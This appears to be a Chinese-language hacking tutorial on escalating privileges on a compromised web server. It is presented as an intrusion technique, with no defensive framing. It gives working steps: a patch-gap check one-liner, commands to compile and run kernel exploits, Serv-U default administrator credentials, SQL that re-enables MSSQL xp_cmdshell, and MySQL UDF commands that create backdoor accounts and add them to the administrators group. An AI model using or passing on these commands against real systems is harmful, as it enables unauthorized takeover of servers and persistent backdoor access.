服务器提权

服务器提权

提权原理

什么是提权:

提权,顾名思义就是提高自己在操作系统中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。

web服务器的提权:

通过基础的漏洞,在服务器上getshell或者获取到一定的访问权限,然后通过探查获取更多的权限,最终获取到管理员的权限。

服务器提权分类:

常见的有Windows提权和Linux系统提权。继续向下可以分为系统本身的漏洞提权和第三方服务的提权。

系统漏洞:

Windows
Linux

第三方服务:
  • FTP提权:serv-u ftp提权
  • Mssql提权:xp_cmdshell提权
  • Mysql提权:UDF提权和Mof提权
  • 等等。。。

windowns提权

先获取系统信息:

可以在系统中执行cmd命令,systeminfo,查看系统版本和已经安装的补丁。在菜刀中可以打开虚拟终端,如果cmd不能执行,可以考虑使用自己上传cmd.exe。在一些网站中禁用了系统命令函数,则不能利用系统漏洞提权。

根据已知的补丁寻找对应的漏洞和poc,exp。
  • KB2360937 MS10-084
  • KB2478960 MS11-014
  • KB2507938 MS11-056
  • KB2566454 MS11-062
  • KB2646524 MS12-003
  • KB2645640 MS12-009
  • KB2641653 MS12-018
  • KB944653 MS07-067
  • KB952004 MS09-012 PR
  • KB971657 MS09-041
  • KB2620712 s
  • KB2393802 MS11-011
  • kb942831 MS08-005
  • KB2503665 MS11-046
  • KB2592799 MS11-080
  • KB956572 MS09-012 巴西烤肉
  • KB2621440 MS12-020
  • KB977165 MS10-015 Ms Viru
获取可以利用的漏洞脚本:

systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt| @find /i “%i”|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\temp.txt

利用脚本提权:
  • 利用已知的各种版本的系统漏洞,进行系统提权。
  • pr: –pr.exe
  • iis6溢出: –iis6.exe
  • x64.exe/x32.exe等

- 等。。。

Windows内核漏洞集合:

Windows

linux提权

针对Linux系统:

需要网站开启了执行系统命令的函数。 可以找到对应版本的漏洞。

查看系统版本信息:
  • cat /etc/issue
  • cat /etc/*-release
  • cat /etc/lsb-release
  • cat /etc/redhat-release
  • dmesg | grep Linux
  • ls /boot | grep vmlinuz
查看内核版本信息:
  • cat /proc/version
  • uname -a
  • uname -mrs

- rpm -q kernel

获取对应版本的exp:

http://www.exploit-db.com

利用:
  1. 上传exp.c(可以直接上传,使用编辑器添加)
  2. 使用gcc编译exp(gcc exp.c -o exploit [-lpthread])
  3. 运行exp(./exploit)

第三方服务

FTP提权:

Serv-u是ftp的本地默认管理工具,默认端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。拿到webshell,通过本地链接Serv-u,获取到管理员权限。

Mssql提权:

Mssql如果通过管理员权限运行,并且以sa账户登陆,可以直接以管理员执行系统命令。(xp_cmdshell)默认情况下mssql的这个功能是被关闭的,通过命令开启: EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句: Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’D:\xplog70.dll’
推荐开启xp_cmdshell

  • 如果支持多语句执行:
    exec master..xp_cmdshell “whoami”;
  • 如果不支持多语句执行;
    select * from openrowset(‘sqloledb’,’trusted_connection=yes’,’set fmtonly off exec master..xp_cmdshell ”net user luan lu4n.com /add’‘’)
  • 两个特殊的mssql执行系统命令:
    https://hack0nair.me/2013-04-15-mssql-e4-b8-ad-e4-b8-a4-e7-a7-8d-e7-89-b9-e5-88-ab-e7-9a-84-e6-89-a7-e8-a1-8c-e5-91-bd-e4-bb-a4-e7-9a-84-e6-96-b9-e6-b3-95/
Mysql提权:

mysql如果以管理员权限运行,可以利用Udf和Mof提权。
在windows中:

上传udf.dll,MYSQL 5.1以下版本导出路径:
- C:\Winnt\udf.dll 2000
- C:\Windows\udf.dll
2003(有的系统\被转义,需要改为C:\Windows\udf.dll)
-导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数

在windows中执行系统命令:
  1. 上传udf.dll,执行mysql命令。
  2. returns string soname ‘导出的DLL路径’;
  3. create function cmdshell returns string soname ‘udf.dll’;
  4. select cmdshell(‘net user arsch arsch /add’);
  5. select cmdshell(‘net localgroup administrators arsch /add’);
  6. drop function cmdshell;
在Linux中:
  • 获取路径:
    1. show variables like “%plugin%”;
    2. 上传lib_mysqludf_sys.so,
    3. 上传目录一般是 mysql/plugin/
  • 执行mysql命令:
    1. CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
    2. SELECT * FROM information_schema.routines
    3. select sys_exec(‘whoami’); – (执行系统命令)
  • Sqlmap进行udf提权
    http://blog.ourren.com/2015/03/10/linux_mysql_udf_shell/

你可能感兴趣的:(安全,服务器)